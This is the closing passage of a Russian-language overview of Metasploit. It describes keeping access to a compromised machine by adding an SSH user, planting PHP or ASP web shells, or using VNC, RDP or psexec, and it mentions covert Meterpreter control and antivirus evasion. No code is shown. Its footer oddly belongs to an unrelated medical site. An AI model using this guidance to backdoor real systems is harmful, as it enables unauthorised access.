Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.

Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).

Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.

16. Заключение

Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.

В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.

Читайте также:

Пожалуйста, не занимайтесь самолечением!
При симпотмах заболевания - обратитесь к врачу.

Copyright © Иммунитет и инфекции